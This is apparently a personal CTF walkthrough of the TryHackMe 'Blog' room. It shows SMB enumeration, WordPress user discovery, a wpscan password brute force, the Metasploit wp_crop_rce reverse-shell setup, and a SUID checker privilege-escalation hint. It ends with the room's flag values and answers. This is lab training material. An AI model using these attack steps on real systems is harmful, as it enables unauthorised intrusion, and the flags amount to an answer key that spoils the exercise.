TryHackMe Blog Writeup: WordPress, SMB Clues, and SUID Checker Abuse
A TryHackMe Blog walkthrough covering SMB enumeration, WordPress user discovery, credential brute force, wp_crop_rce, and checker privilege escalation.
This writeup is adapted from my original TryHackMe notes for Blog. I kept the room flow close to the source Markdown and cleaned up GitBook formatting so it reads properly on the website.
Description
Billy Joel made a blog on his home computer and has started working on it. It's going to be so awesome!
Enumerate this box and find the 2 flags that are hiding on it! Billy has some weird things going on his laptop. Can you maneuver around and get what you need? Or will you fall down the rabbit hole...
In order to get the blog to work with AWS, you'll need to add blog.thm to your /etc/hosts file.
Credit to Sq00ky for the root privesc idea ;)
The images used in this room have been used with the author's permission or in accordance with Section 107 of the U.S. Copyright Act.
Nmap
nmap -A -Pn 10.10.89.129
I found out some smb, let use enum4linux Thank (https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb#ipcusd-share)
enum4linux
enum4linux -a 10.10.89.129
Found BillySMB
Found bjoel username
SMBClient
Found some picture
Crack the images
steghide extract -sf Alice-White-Rabbit.jpg
Rabbit Hole!
Directory Enumeration
dirsearch -u http://10.10.89.129
Go back to the website that I already running dirsearch. I found the WordPress login.
Let try the username that found from enum4linux.
Bingo!
WPScan
wpscan --url http://blog.thm --enumerate u
WordPress version 5.0
Found more user kwheel
Now, we know the WordPress version. While running the wpscan for brute-force the password. I found some vulnerability that I can reverse shell. https://www.rapid7.com/db/modules/exploit/multi/http/wp_crop_rce/
wpscan --url http://blog.thm --passwords /usr/share/wordlists/rockyou.txt --usernames kwheel,bjoel -t 64
- -t 64: Sets the number of threads to
64, controlling how many password attempts can be made in parallel
kwheel : cutiepie1
Metasploit
msf > use exploit/multi/http/wp_crop_rce
msf > set RHOST blog.thm
msf > set LHOST <YOUR_IP>
msf > set LPORT <YOUR_PORT>
msf > set USERNAME kwheel
msf > set PASSWORD cutiepie1
msf > run
Create Shell environment
SHELL=/bin/bash script -q /dev/null
find / -type f -user root -perm -u=s 2>/dev/null
Used to search the entire filesystem (/) for files (-type f) owned by the user root (-user root) that have the setuid bit set (-perm -u=s), suppressing error messages (2>/dev/null)
Check all file and found interesting thing.
www-data@blog:/var/www/wordpress$ /usr/sbin/checker
/usr/sbin/checker
Not an Admin
ltrace checker
ltrace, it prints a list of all library calls made by the program as they occur.
DONE!
Answer the questions below
root.txt
find / -type f -name "root.txt"
9a0b2b618bef9bfa7ac28c1353d9f318
ANS: 9a0b2b618bef9bfa7ac28c1353d9f318
user.txt
find / -type f -name "user.txt"
c8421899aae571f7af486492b71a8ab7
ANS: c8421899aae571f7af486492b71a8ab7
Where was user.txt found?
ANS: /media/usb/user.txt
What CMS was Billy using?
ANS: wordpress
What version of the above CMS was being used?
ANS: 5.0